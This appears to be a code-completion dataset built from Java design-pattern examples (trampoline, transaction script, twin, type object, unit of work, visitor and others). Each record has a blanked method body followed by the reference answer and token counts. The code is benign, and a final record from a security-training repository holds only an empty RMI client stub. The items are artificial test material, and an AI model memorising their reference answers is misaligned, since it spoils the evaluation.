<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/trampoline/src/main/java/com/iluwatar/trampoline/TrampolineApp.java
TrampolineApp
loop
class TrampolineApp { /** * Main program for showing pattern. It does loop with factorial function. */ public static void main(String[] args) { LOGGER.info("Start calculating war casualties"); var result = loop(10, 1).result(); LOGGER.info("The number of orcs perished in the war: {}", result); } /** * Manager for pattern. Define it with a factorial function. */ public static Trampoline<Integer> loop(int times, int prod) {<FILL_FUNCTION_BODY>} }
if (times == 0) { return Trampoline.done(prod); } else { return Trampoline.more(() -> loop(times - 1, prod * times)); }
152
53
205
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/transaction-script/src/main/java/com/iluwatar/transactionscript/App.java
App
generateSampleRooms
class App { private static final String H2_DB_URL = "jdbc:h2:mem:testdb;DB_CLOSE_DELAY=-1"; private static final Logger LOGGER = LoggerFactory.getLogger(App.class); /** * Program entry point. * Initialises an instance of Hotel and adds rooms to it. * Carries out booking and cancel booking transactions. * @param args command line arguments * @throws Exception if any error occurs */ public static void main(String[] args) throws Exception { final var dataSource = createDataSource(); deleteSchema(dataSource); createSchema(dataSource); final var dao = new HotelDaoImpl(dataSource); // Add rooms addRooms(dao); // Print room booking status getRoomStatus(dao); var hotel = new Hotel(dao); // Book rooms hotel.bookRoom(1); hotel.bookRoom(2); hotel.bookRoom(3); hotel.bookRoom(4); hotel.bookRoom(5); hotel.bookRoom(6); // Cancel booking for a few rooms hotel.cancelRoomBooking(1); hotel.cancelRoomBooking(3); hotel.cancelRoomBooking(5); getRoomStatus(dao); deleteSchema(dataSource); } private static void getRoomStatus(HotelDaoImpl dao) throws Exception { try (var customerStream = dao.getAll()) { customerStream.forEach((customer) -> LOGGER.info(customer.toString())); } } private static void deleteSchema(DataSource dataSource) throws java.sql.SQLException { try (var connection = dataSource.getConnection(); var statement = connection.createStatement()) { statement.execute(RoomSchemaSql.DELETE_SCHEMA_SQL); } } private static void createSchema(DataSource dataSource) throws Exception { try (var connection = dataSource.getConnection(); var statement = connection.createStatement()) { statement.execute(RoomSchemaSql.CREATE_SCHEMA_SQL); } catch (Exception e) { throw new Exception(e.getMessage(), e); } } /** * Get database. * * @return h2 datasource */ private static DataSource createDataSource() { var dataSource = new JdbcDataSource(); dataSource.setUrl(H2_DB_URL); return dataSource; } private static void addRooms(HotelDaoImpl hotelDao) throws Exception { for (var room : generateSampleRooms()) { hotelDao.add(room); } } /** * Generate rooms. * * @return list of rooms */ private static List<Room> generateSampleRooms() {<FILL_FUNCTION_BODY>} }
final var room1 = new Room(1, "Single", 50, false); final var room2 = new Room(2, "Double", 80, false); final var room3 = new Room(3, "Queen", 120, false); final var room4 = new Room(4, "King", 150, false); final var room5 = new Room(5, "Single", 50, false); final var room6 = new Room(6, "Double", 80, false); return List.of(room1, room2, room3, room4, room5, room6);
762
157
919
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/transaction-script/src/main/java/com/iluwatar/transactionscript/Hotel.java
Hotel
bookRoom
class Hotel { private final HotelDaoImpl hotelDao; public Hotel(HotelDaoImpl hotelDao) { this.hotelDao = hotelDao; } /** * Book a room. * * @param roomNumber room to book * @throws Exception if any error */ public void bookRoom(int roomNumber) throws Exception {<FILL_FUNCTION_BODY>} /** * Cancel a room booking. * * @param roomNumber room to cancel booking * @throws Exception if any error */ public void cancelRoomBooking(int roomNumber) throws Exception { var room = hotelDao.getById(roomNumber); if (room.isEmpty()) { throw new Exception("Room number: " + roomNumber + " does not exist"); } else { if (room.get().isBooked()) { var updateRoomBooking = room.get(); updateRoomBooking.setBooked(false); int refundAmount = updateRoomBooking.getPrice(); hotelDao.update(updateRoomBooking); LOGGER.info("Booking cancelled for room number: " + roomNumber); LOGGER.info(refundAmount + " is refunded"); } else { throw new Exception("No booking for the room exists"); } } } }
var room = hotelDao.getById(roomNumber); if (room.isEmpty()) { throw new Exception("Room number: " + roomNumber + " does not exist"); } else { if (room.get().isBooked()) { throw new Exception("Room already booked!"); } else { var updateRoomBooking = room.get(); updateRoomBooking.setBooked(true); hotelDao.update(updateRoomBooking); } }
354
132
486
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/transaction-script/src/main/java/com/iluwatar/transactionscript/HotelDaoImpl.java
HotelDaoImpl
delete
class HotelDaoImpl implements HotelDao { private final DataSource dataSource; public HotelDaoImpl(DataSource dataSource) { this.dataSource = dataSource; } @Override public Stream<Room> getAll() throws Exception { try { var connection = getConnection(); var statement = connection.prepareStatement("SELECT * FROM ROOMS"); // NOSONAR var resultSet = statement.executeQuery(); // NOSONAR return StreamSupport.stream(new Spliterators.AbstractSpliterator<Room>(Long.MAX_VALUE, Spliterator.ORDERED) { @Override public boolean tryAdvance(Consumer<? super Room> action) { try { if (!resultSet.next()) { return false; } action.accept(createRoom(resultSet)); return true; } catch (Exception e) { throw new RuntimeException(e); // NOSONAR } } }, false).onClose(() -> { try { mutedClose(connection, statement, resultSet); } catch (Exception e) { LOGGER.error(e.getMessage()); } }); } catch (Exception e) { throw new Exception(e.getMessage(), e); } } @Override public Optional<Room> getById(int id) throws Exception { ResultSet resultSet = null; try (var connection = getConnection(); var statement = connection.prepareStatement("SELECT * FROM ROOMS WHERE ID = ?")) { statement.setInt(1, id); resultSet = statement.executeQuery(); if (resultSet.next()) { return Optional.of(createRoom(resultSet)); } else { return Optional.empty(); } } catch (Exception e) { throw new Exception(e.getMessage(), e); } finally { if (resultSet != null) { resultSet.close(); } } } @Override public Boolean add(Room room) throws Exception { if (getById(room.getId()).isPresent()) { return false; } try (var connection = getConnection(); var statement = connection.prepareStatement("INSERT INTO ROOMS VALUES (?,?,?,?)")) { statement.setInt(1, room.getId()); statement.setString(2, room.getRoomType()); statement.setInt(3, room.getPrice()); statement.setBoolean(4, room.isBooked()); statement.execute(); return true; } catch (Exception e) { throw new Exception(e.getMessage(), e); } } @Override public Boolean update(Room room) throws Exception { try (var connection = getConnection(); var statement = connection .prepareStatement("UPDATE ROOMS SET ROOM_TYPE = ?, PRICE = ?, BOOKED = ?" + " WHERE ID = ?")) { statement.setString(1, room.getRoomType()); statement.setInt(2, room.getPrice()); statement.setBoolean(3, room.isBooked()); statement.setInt(4, room.getId()); return statement.executeUpdate() > 0; } catch (Exception e) { throw new Exception(e.getMessage(), e); } } @Override public Boolean delete(Room room) throws Exception {<FILL_FUNCTION_BODY>} private Connection getConnection() throws Exception { return dataSource.getConnection(); } private void mutedClose(Connection connection, PreparedStatement statement, ResultSet resultSet) throws Exception { try { resultSet.close(); statement.close(); connection.close(); } catch (Exception e) { throw new Exception(e.getMessage(), e); } } private Room createRoom(ResultSet resultSet) throws Exception { return new Room(resultSet.getInt("ID"), resultSet.getString("ROOM_TYPE"), resultSet.getInt("PRICE"), resultSet.getBoolean("BOOKED")); } }
try (var connection = getConnection(); var statement = connection.prepareStatement("DELETE FROM ROOMS WHERE ID = ?")) { statement.setInt(1, room.getId()); return statement.executeUpdate() > 0; } catch (Exception e) { throw new Exception(e.getMessage(), e); }
1,053
84
1,137
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/twin/src/main/java/com/iluwatar/twin/App.java
App
main
class App { /** * Program entry point. * * @param args command line args */ public static void main(String[] args) throws Exception {<FILL_FUNCTION_BODY>} private static void waiting() throws Exception { Thread.sleep(750); } }
var ballItem = new BallItem(); var ballThread = new BallThread(); ballItem.setTwin(ballThread); ballThread.setTwin(ballItem); ballThread.start(); waiting(); ballItem.click(); waiting(); ballItem.click(); waiting(); // exit ballThread.stopMe();
82
101
183
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/twin/src/main/java/com/iluwatar/twin/BallItem.java
BallItem
click
class BallItem extends GameItem { private boolean isSuspended; @Setter private BallThread twin; @Override public void doDraw() { LOGGER.info("doDraw"); } public void move() { LOGGER.info("move"); } @Override public void click() {<FILL_FUNCTION_BODY>} }
isSuspended = !isSuspended; if (isSuspended) { twin.suspendMe(); } else { twin.resumeMe(); }
104
52
156
<methods>public non-sealed void <init>() ,public abstract void click() ,public abstract void doDraw() ,public void draw() <variables>
iluwatar_java-design-patterns
java-design-patterns/twin/src/main/java/com/iluwatar/twin/BallThread.java
BallThread
run
class BallThread extends Thread { @Setter private BallItem twin; private volatile boolean isSuspended; private volatile boolean isRunning = true; /** * Run the thread. */ public void run() {<FILL_FUNCTION_BODY>} public void suspendMe() { isSuspended = true; LOGGER.info("Begin to suspend BallThread"); } public void resumeMe() { isSuspended = false; LOGGER.info("Begin to resume BallThread"); } public void stopMe() { this.isRunning = false; this.isSuspended = true; } }
while (isRunning) { if (!isSuspended) { twin.draw(); twin.move(); } try { Thread.sleep(250); } catch (InterruptedException e) { throw new RuntimeException(e); } }
177
77
254
<methods>public void <init>() ,public void <init>(java.lang.Runnable) ,public void <init>(java.lang.String) ,public void <init>(java.lang.ThreadGroup, java.lang.Runnable) ,public void <init>(java.lang.ThreadGroup, java.lang.String) ,public void <init>(java.lang.Runnable, java.lang.String) ,public void <init>(java.lang.ThreadGroup, java.lang.Runnable, java.lang.String) ,public void <init>(java.lang.ThreadGroup, java.lang.Runnable, java.lang.String, long) ,public void <init>(java.lang.ThreadGroup, java.lang.Runnable, java.lang.String, long, boolean) ,public static int activeCount() ,public final void checkAccess() ,public int countStackFrames() ,public static native java.lang.Thread currentThread() ,public static void dumpStack() ,public static int enumerate(java.lang.Thread[]) ,public static Map<java.lang.Thread,java.lang.StackTraceElement[]> getAllStackTraces() ,public java.lang.ClassLoader getContextClassLoader() ,public static java.lang.Thread.UncaughtExceptionHandler getDefaultUncaughtExceptionHandler() ,public long getId() ,public final java.lang.String getName() ,public final int getPriority() ,public java.lang.StackTraceElement[] getStackTrace() ,public java.lang.Thread.State getState() ,public final java.lang.ThreadGroup getThreadGroup() ,public java.lang.Thread.UncaughtExceptionHandler getUncaughtExceptionHandler() ,public static native boolean holdsLock(java.lang.Object) ,public void interrupt() ,public static boolean interrupted() ,public final boolean isAlive() ,public final boolean isDaemon() ,public boolean isInterrupted() ,public final void join() throws java.lang.InterruptedException,public final synchronized void join(long) throws java.lang.InterruptedException,public final synchronized void join(long, int) throws java.lang.InterruptedException,public static void onSpinWait() ,public final void resume() ,public void run() ,public void setContextClassLoader(java.lang.ClassLoader) ,public final void setDaemon(boolean) ,public static void setDefaultUncaughtExceptionHandler(java.lang.Thread.UncaughtExceptionHandler) ,public final synchronized void setName(java.lang.String) ,public final void setPriority(int) ,public void setUncaughtExceptionHandler(java.lang.Thread.UncaughtExceptionHandler) ,public static native void sleep(long) throws java.lang.InterruptedException,public static void sleep(long, int) throws java.lang.InterruptedException,public synchronized void start() ,public final void stop() ,public final void suspend() ,public java.lang.String toString() ,public static native void yield() <variables>private static final java.lang.StackTraceElement[] EMPTY_STACK_TRACE,public static final int MAX_PRIORITY,public static final int MIN_PRIORITY,public static final int NORM_PRIORITY,private volatile sun.nio.ch.Interruptible blocker,private final java.lang.Object blockerLock,private java.lang.ClassLoader contextClassLoader,private boolean daemon,private static volatile java.lang.Thread.UncaughtExceptionHandler defaultUncaughtExceptionHandler,private volatile long eetop,private java.lang.ThreadGroup group,java.lang.ThreadLocal.ThreadLocalMap inheritableThreadLocals,private java.security.AccessControlContext inheritedAccessControlContext,private volatile boolean interrupted,private volatile java.lang.String name,volatile java.lang.Object parkBlocker,private int priority,private final long stackSize,private boolean stillborn,private java.lang.Runnable target,private static int threadInitNumber,int threadLocalRandomProbe,int threadLocalRandomSecondarySeed,long threadLocalRandomSeed,java.lang.ThreadLocal.ThreadLocalMap threadLocals,private static long threadSeqNumber,private volatile int threadStatus,private final long tid,private volatile java.lang.Thread.UncaughtExceptionHandler uncaughtExceptionHandler
iluwatar_java-design-patterns
java-design-patterns/typeobjectpattern/src/main/java/com/iluwatar/typeobject/App.java
App
main
class App { /** * Program entry point. * * @param args command line args */ public static void main(String[] args) {<FILL_FUNCTION_BODY>} }
var givenTime = 50; //50ms var toWin = 500; //points var pointsWon = 0; var numOfRows = 3; var start = System.currentTimeMillis(); var end = System.currentTimeMillis(); var round = 0; while (pointsWon < toWin && end - start < givenTime) { round++; var pool = new CellPool(numOfRows * numOfRows + 5); var cg = new CandyGame(numOfRows, pool); if (round > 1) { LOGGER.info("Refreshing.."); } else { LOGGER.info("Starting game.."); } cg.printGameStatus(); end = System.currentTimeMillis(); cg.round((int) (end - start), givenTime); pointsWon += cg.totalPoints; end = System.currentTimeMillis(); } LOGGER.info("Game Over"); if (pointsWon >= toWin) { LOGGER.info("" + pointsWon); LOGGER.info("You win!!"); } else { LOGGER.info("" + pointsWon); LOGGER.info("Sorry, you lose!"); }
56
322
378
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/typeobjectpattern/src/main/java/com/iluwatar/typeobject/CandyGame.java
CandyGame
round
class CandyGame { Cell[][] cells; CellPool pool; int totalPoints; CandyGame(int num, CellPool pool) { this.cells = new Cell[num][num]; this.pool = pool; this.totalPoints = 0; for (var i = 0; i < num; i++) { for (var j = 0; j < num; j++) { this.cells[i][j] = this.pool.getNewCell(); this.cells[i][j].positionX = j; this.cells[i][j].positionY = i; } } } static String numOfSpaces(int num) { return " ".repeat(Math.max(0, num)); } void printGameStatus() { LOGGER.info(""); for (Cell[] cell : cells) { for (var j = 0; j < cells.length; j++) { var candyName = cell[j].candy.name; if (candyName.length() < 20) { var totalSpaces = 20 - candyName.length(); LOGGER.info(numOfSpaces(totalSpaces / 2) + cell[j].candy.name + numOfSpaces(totalSpaces - totalSpaces / 2) + "|"); } else { LOGGER.info(candyName + "|"); } } LOGGER.info(""); } LOGGER.info(""); } List<Cell> adjacentCells(int y, int x) { var adjacent = new ArrayList<Cell>(); if (y == 0) { adjacent.add(this.cells[1][x]); } if (x == 0) { adjacent.add(this.cells[y][1]); } if (y == cells.length - 1) { adjacent.add(this.cells[cells.length - 2][x]); } if (x == cells.length - 1) { adjacent.add(this.cells[y][cells.length - 2]); } if (y > 0 && y < cells.length - 1) { adjacent.add(this.cells[y - 1][x]); adjacent.add(this.cells[y + 1][x]); } if (x > 0 && x < cells.length - 1) { adjacent.add(this.cells[y][x - 1]); adjacent.add(this.cells[y][x + 1]); } return adjacent; } boolean continueRound() { for (var i = 0; i < this.cells.length; i++) { if (this.cells[cells.length - 1][i].candy.getType().equals(Type.REWARD_FRUIT)) { return true; } } for (var i = 0; i < this.cells.length; i++) { for (var j = 0; j < this.cells.length; j++) { if (!this.cells[i][j].candy.getType().equals(Type.REWARD_FRUIT)) { var adj = adjacentCells(i, j); for (Cell cell : adj) { if (this.cells[i][j].candy.name.equals(cell.candy.name)) { return true; } } } } } return false; } void handleChange(int points) { LOGGER.info("+" + points + " points!"); this.totalPoints += points; printGameStatus(); } void round(int timeSoFar, int totalTime) {<FILL_FUNCTION_BODY>} }
var start = System.currentTimeMillis(); var end = System.currentTimeMillis(); while (end - start + timeSoFar < totalTime && continueRound()) { for (var i = 0; i < this.cells.length; i++) { var points = 0; var j = this.cells.length - 1; while (this.cells[j][i].candy.getType().equals(Type.REWARD_FRUIT)) { points = this.cells[j][i].candy.getPoints(); this.cells[j][i].crush(pool, this.cells); handleChange(points); } } for (var i = 0; i < this.cells.length; i++) { var j = cells.length - 1; var points = 0; while (j > 0) { points = this.cells[j][i].interact(this.cells[j - 1][i], this.pool, this.cells); if (points != 0) { handleChange(points); } else { j = j - 1; } } } for (Cell[] cell : this.cells) { var j = 0; var points = 0; while (j < cells.length - 1) { points = cell[j].interact(cell[j + 1], this.pool, this.cells); if (points != 0) { handleChange(points); } else { j = j + 1; } } } end = System.currentTimeMillis(); }
980
425
1,405
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/typeobjectpattern/src/main/java/com/iluwatar/typeobject/Cell.java
Cell
fillThisSpace
class Cell { Candy candy; int positionX; int positionY; void crush(CellPool pool, Cell[][] cellMatrix) { //take out from this position and put back in pool pool.addNewCell(this); this.fillThisSpace(pool, cellMatrix); } void fillThisSpace(CellPool pool, Cell[][] cellMatrix) {<FILL_FUNCTION_BODY>} void handleCrush(Cell c, CellPool pool, Cell[][] cellMatrix) { if (this.positionY >= c.positionY) { this.crush(pool, cellMatrix); c.crush(pool, cellMatrix); } else { c.crush(pool, cellMatrix); this.crush(pool, cellMatrix); } } int interact(Cell c, CellPool pool, Cell[][] cellMatrix) { if (this.candy.getType().equals(Type.REWARD_FRUIT) || c.candy.getType() .equals(Type.REWARD_FRUIT)) { return 0; } else { if (this.candy.name.equals(c.candy.name)) { var pointsWon = this.candy.getPoints() + c.candy.getPoints(); handleCrush(c, pool, cellMatrix); return pointsWon; } else { return 0; } } } }
for (var y = this.positionY; y > 0; y--) { cellMatrix[y][this.positionX] = cellMatrix[y - 1][this.positionX]; cellMatrix[y][this.positionX].positionY = y; } var newC = pool.getNewCell(); cellMatrix[0][this.positionX] = newC; cellMatrix[0][this.positionX].positionX = this.positionX; cellMatrix[0][this.positionX].positionY = 0;
373
134
507
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/typeobjectpattern/src/main/java/com/iluwatar/typeobject/CellPool.java
CellPool
assignRandomCandytypes
class CellPool { private static final SecureRandom RANDOM = new SecureRandom(); public static final String FRUIT = "fruit"; public static final String CANDY = "candy"; List<Cell> pool; int pointer; Candy[] randomCode; CellPool(int num) { this.pool = new ArrayList<>(num); try { this.randomCode = assignRandomCandytypes(); } catch (Exception e) { e.printStackTrace(); //manually initialising this.randomCode this.randomCode = new Candy[5]; randomCode[0] = new Candy("cherry", FRUIT, Type.REWARD_FRUIT, 20); randomCode[1] = new Candy("mango", FRUIT, Type.REWARD_FRUIT, 20); randomCode[2] = new Candy("purple popsicle", CANDY, Type.CRUSHABLE_CANDY, 10); randomCode[3] = new Candy("green jellybean", CANDY, Type.CRUSHABLE_CANDY, 10); randomCode[4] = new Candy("orange gum", CANDY, Type.CRUSHABLE_CANDY, 10); } for (int i = 0; i < num; i++) { var c = new Cell(); c.candy = randomCode[RANDOM.nextInt(randomCode.length)]; this.pool.add(c); } this.pointer = num - 1; } Cell getNewCell() { var newCell = this.pool.remove(pointer); pointer--; return newCell; } void addNewCell(Cell c) { c.candy = randomCode[RANDOM.nextInt(randomCode.length)]; //changing candytype to new this.pool.add(c); pointer++; } Candy[] assignRandomCandytypes() throws JsonParseException {<FILL_FUNCTION_BODY>} }
var jp = new JsonParser(); jp.parse(); var randomCode = new Candy[jp.candies.size() - 2]; //exclude generic types 'fruit' and 'candy' var i = 0; for (var e = jp.candies.keys(); e.hasMoreElements(); ) { var s = e.nextElement(); if (!s.equals(FRUIT) && !s.equals(CANDY)) { //not generic randomCode[i] = jp.candies.get(s); i++; } } return randomCode;
530
162
692
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/typeobjectpattern/src/main/java/com/iluwatar/typeobject/JsonParser.java
JsonParser
parse
class JsonParser { Hashtable<String, Candy> candies; JsonParser() { this.candies = new Hashtable<>(); } void parse() throws JsonParseException {<FILL_FUNCTION_BODY>} void setParentAndPoints() { for (var e = this.candies.keys(); e.hasMoreElements(); ) { var c = this.candies.get(e.nextElement()); if (c.parentName == null) { c.parent = null; } else { c.parent = this.candies.get(c.parentName); } if (c.getPoints() == 0 && c.parent != null) { c.setPoints(c.parent.getPoints()); } } } }
var is = this.getClass().getClassLoader().getResourceAsStream("candy.json"); var reader = new InputStreamReader(is); var json = (JsonObject) com.google.gson.JsonParser.parseReader(reader); var array = (JsonArray) json.get("candies"); for (var item : array) { var candy = (JsonObject) item; var name = candy.get("name").getAsString(); var parentName = candy.get("parent").getAsString(); var t = candy.get("type").getAsString(); var type = Type.CRUSHABLE_CANDY; if (t.equals("rewardFruit")) { type = Type.REWARD_FRUIT; } var points = candy.get("points").getAsInt(); var c = new Candy(name, parentName, type, points); this.candies.put(name, c); } setParentAndPoints();
210
251
461
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/unit-of-work/src/main/java/com/iluwatar/unitofwork/App.java
App
main
class App { /** * Program entry point. * * @param args no argument sent */ public static void main(String[] args) {<FILL_FUNCTION_BODY>} }
// create some weapons var enchantedHammer = new Weapon(1, "enchanted hammer"); var brokenGreatSword = new Weapon(2, "broken great sword"); var silverTrident = new Weapon(3, "silver trident"); // create repository var weaponRepository = new ArmsDealer(new HashMap<String, List<Weapon>>(), new WeaponDatabase()); // perform operations on the weapons weaponRepository.registerNew(enchantedHammer); weaponRepository.registerModified(silverTrident); weaponRepository.registerDeleted(brokenGreatSword); weaponRepository.commit();
56
169
225
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/unit-of-work/src/main/java/com/iluwatar/unitofwork/ArmsDealer.java
ArmsDealer
commitDelete
class ArmsDealer implements UnitOfWork<Weapon> { private final Map<String, List<Weapon>> context; private final WeaponDatabase weaponDatabase; @Override public void registerNew(Weapon weapon) { LOGGER.info("Registering {} for insert in context.", weapon.getName()); register(weapon, UnitActions.INSERT.getActionValue()); } @Override public void registerModified(Weapon weapon) { LOGGER.info("Registering {} for modify in context.", weapon.getName()); register(weapon, UnitActions.MODIFY.getActionValue()); } @Override public void registerDeleted(Weapon weapon) { LOGGER.info("Registering {} for delete in context.", weapon.getName()); register(weapon, UnitActions.DELETE.getActionValue()); } private void register(Weapon weapon, String operation) { var weaponsToOperate = context.get(operation); if (weaponsToOperate == null) { weaponsToOperate = new ArrayList<>(); } weaponsToOperate.add(weapon); context.put(operation, weaponsToOperate); } /** * All UnitOfWork operations are batched and executed together on commit only. */ @Override public void commit() { if (context == null || context.size() == 0) { return; } LOGGER.info("Commit started"); if (context.containsKey(UnitActions.INSERT.getActionValue())) { commitInsert(); } if (context.containsKey(UnitActions.MODIFY.getActionValue())) { commitModify(); } if (context.containsKey(UnitActions.DELETE.getActionValue())) { commitDelete(); } LOGGER.info("Commit finished."); } private void commitInsert() { var weaponsToBeInserted = context.get(UnitActions.INSERT.getActionValue()); for (var weapon : weaponsToBeInserted) { LOGGER.info("Inserting a new weapon {} to sales rack.", weapon.getName()); weaponDatabase.insert(weapon); } } private void commitModify() { var modifiedWeapons = context.get(UnitActions.MODIFY.getActionValue()); for (var weapon : modifiedWeapons) { LOGGER.info("Scheduling {} for modification work.", weapon.getName()); weaponDatabase.modify(weapon); } } private void commitDelete() {<FILL_FUNCTION_BODY>} }
var deletedWeapons = context.get(UnitActions.DELETE.getActionValue()); for (var weapon : deletedWeapons) { LOGGER.info("Scrapping {}.", weapon.getName()); weaponDatabase.delete(weapon); }
667
68
735
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/update-method/src/main/java/com/iluwatar/updatemethod/App.java
App
main
class App { private static final int GAME_RUNNING_TIME = 2000; /** * Program entry point. * @param args runtime arguments */ public static void main(String[] args) {<FILL_FUNCTION_BODY>} }
try { var world = new World(); var skeleton1 = new Skeleton(1, 10); var skeleton2 = new Skeleton(2, 70); var statue = new Statue(3, 20); world.addEntity(skeleton1); world.addEntity(skeleton2); world.addEntity(statue); world.run(); Thread.sleep(GAME_RUNNING_TIME); world.stop(); } catch (InterruptedException e) { LOGGER.error(e.getMessage()); }
73
153
226
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/update-method/src/main/java/com/iluwatar/updatemethod/Skeleton.java
Skeleton
update
class Skeleton extends Entity { private static final int PATROLLING_LEFT_BOUNDING = 0; private static final int PATROLLING_RIGHT_BOUNDING = 100; protected boolean patrollingLeft; /** * Constructor of Skeleton. * * @param id id of skeleton */ public Skeleton(int id) { super(id); patrollingLeft = false; } /** * Constructor of Skeleton. * * @param id id of skeleton * @param position position of skeleton */ public Skeleton(int id, int position) { super(id); this.position = position; patrollingLeft = false; } @Override public void update() {<FILL_FUNCTION_BODY>} }
if (patrollingLeft) { position -= 1; if (position == PATROLLING_LEFT_BOUNDING) { patrollingLeft = false; } } else { position += 1; if (position == PATROLLING_RIGHT_BOUNDING) { patrollingLeft = true; } } logger.info("Skeleton {} is on position {}.", id, position);
227
114
341
<methods>public void <init>(int) ,public abstract void update() <variables>protected int id,protected final Logger logger,protected int position
iluwatar_java-design-patterns
java-design-patterns/update-method/src/main/java/com/iluwatar/updatemethod/Statue.java
Statue
update
class Statue extends Entity { protected int frames; protected int delay; /** * Constructor of Statue. * * @param id id of statue */ public Statue(int id) { super(id); this.frames = 0; this.delay = 0; } /** * Constructor of Statue. * * @param id id of statue * @param delay the number of frames between two lightning */ public Statue(int id, int delay) { super(id); this.frames = 0; this.delay = delay; } @Override public void update() {<FILL_FUNCTION_BODY>} private void shootLightning() { logger.info("Statue {} shoots lightning!", id); } }
if (++frames == delay) { shootLightning(); frames = 0; }
221
28
249
<methods>public void <init>(int) ,public abstract void update() <variables>protected int id,protected final Logger logger,protected int position
iluwatar_java-design-patterns
java-design-patterns/update-method/src/main/java/com/iluwatar/updatemethod/World.java
World
processInput
class World { protected List<Entity> entities; protected volatile boolean isRunning; public World() { entities = new ArrayList<>(); isRunning = false; } /** * Main game loop. This loop will always run until the game is over. For * each loop it will process user input, update internal status, and render * the next frames. For more detail please refer to the game-loop pattern. */ private void gameLoop() { while (isRunning) { processInput(); update(); render(); } } /** * Handle any user input that has happened since the last call. In order to * simulate the situation in real-life game, here we add a random time lag. * The time lag ranges from 50 ms to 250 ms. */ private void processInput() {<FILL_FUNCTION_BODY>} /** * Update internal status. The update method pattern invoke update method for * each entity in the game. */ private void update() { for (var entity : entities) { entity.update(); } } /** * Render the next frame. Here we do nothing since it is not related to the * pattern. */ private void render() { // Does Nothing } /** * Run game loop. */ public void run() { LOGGER.info("Start game."); isRunning = true; var thread = new Thread(this::gameLoop); thread.start(); } /** * Stop game loop. */ public void stop() { LOGGER.info("Stop game."); isRunning = false; } public void addEntity(Entity entity) { entities.add(entity); } }
try { int lag = new SecureRandom().nextInt(200) + 50; Thread.sleep(lag); } catch (InterruptedException e) { LOGGER.error(e.getMessage()); Thread.currentThread().interrupt(); }
463
71
534
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/value-object/src/main/java/com/iluwatar/value/object/App.java
App
main
class App { /** * This example creates three HeroStats (value objects) and checks equality between those. */ public static void main(String[] args) {<FILL_FUNCTION_BODY>} }
var statA = HeroStat.valueOf(10, 5, 0); var statB = HeroStat.valueOf(10, 5, 0); var statC = HeroStat.valueOf(5, 1, 8); LOGGER.info(statA.toString()); LOGGER.info(statB.toString()); LOGGER.info(statC.toString()); LOGGER.info("Is statA and statB equal : {}", statA.equals(statB)); LOGGER.info("Is statA and statC equal : {}", statA.equals(statC));
56
153
209
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/version-number/src/main/java/com/iluwatar/versionnumber/App.java
App
main
class App { private static final Logger LOGGER = LoggerFactory.getLogger(App.class); /** * Program entry point. * * @param args command line args */ public static void main(String[] args) throws BookDuplicateException, BookNotFoundException, VersionMismatchException {<FILL_FUNCTION_BODY>} }
var bookId = 1; var bookRepository = new BookRepository(); var book = new Book(); book.setId(bookId); bookRepository.add(book); // adding a book with empty title and author LOGGER.info("An empty book with version {} was added to repository", book.getVersion()); // Alice and Bob took the book concurrently final var aliceBook = bookRepository.get(bookId); final var bobBook = bookRepository.get(bookId); aliceBook.setTitle("Kama Sutra"); // Alice has updated book title bookRepository.update(aliceBook); // and successfully saved book in database LOGGER.info("Alice updates the book with new version {}", aliceBook.getVersion()); // now Bob has the stale version of the book with empty title and version = 0 // while actual book in database has filled title and version = 1 bobBook.setAuthor("Vatsyayana Mallanaga"); // Bob updates the author try { LOGGER.info("Bob tries to update the book with his version {}", bobBook.getVersion()); bookRepository.update(bobBook); // Bob tries to save his book to database } catch (VersionMismatchException e) { // Bob update fails, and book in repository remained untouchable LOGGER.info("Exception: {}", e.getMessage()); // Now Bob should reread actual book from repository, do his changes again and save again }
98
365
463
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/version-number/src/main/java/com/iluwatar/versionnumber/BookRepository.java
BookRepository
update
class BookRepository { private final Map<Long, Book> collection = new HashMap<>(); /** * Adds book to collection. * Actually we are putting copy of book (saving a book by value, not by reference); */ public void add(Book book) throws BookDuplicateException { if (collection.containsKey(book.getId())) { throw new BookDuplicateException("Duplicated book with id: " + book.getId()); } // add copy of the book collection.put(book.getId(), new Book(book)); } /** * Updates book in collection only if client has modified the latest version of the book. */ public void update(Book book) throws BookNotFoundException, VersionMismatchException {<FILL_FUNCTION_BODY>} /** * Returns book representation to the client. * Representation means we are returning copy of the book. */ public Book get(long bookId) throws BookNotFoundException { if (!collection.containsKey(bookId)) { throw new BookNotFoundException("Not found book with id: " + bookId); } // return copy of the book return new Book(collection.get(bookId)); } }
if (!collection.containsKey(book.getId())) { throw new BookNotFoundException("Not found book with id: " + book.getId()); } var latestBook = collection.get(book.getId()); if (book.getVersion() != latestBook.getVersion()) { throw new VersionMismatchException( "Tried to update stale version " + book.getVersion() + " while actual version is " + latestBook.getVersion() ); } // update version, including client representation - modify by reference here book.setVersion(book.getVersion() + 1); // save book copy to repository collection.put(book.getId(), new Book(book));
308
176
484
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/visitor/src/main/java/com/iluwatar/visitor/App.java
App
main
class App { /** * Program entry point. * * @param args command line args */ public static void main(String[] args) {<FILL_FUNCTION_BODY>} }
var commander = new Commander( new Sergeant(new Soldier(), new Soldier(), new Soldier()), new Sergeant(new Soldier(), new Soldier(), new Soldier()) ); commander.accept(new SoldierVisitor()); commander.accept(new SergeantVisitor()); commander.accept(new CommanderVisitor());
56
89
145
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/RMI/Client.java
Client
main
class Client { private Client() {} public static void main(String[] args) {<FILL_FUNCTION_BODY>} }
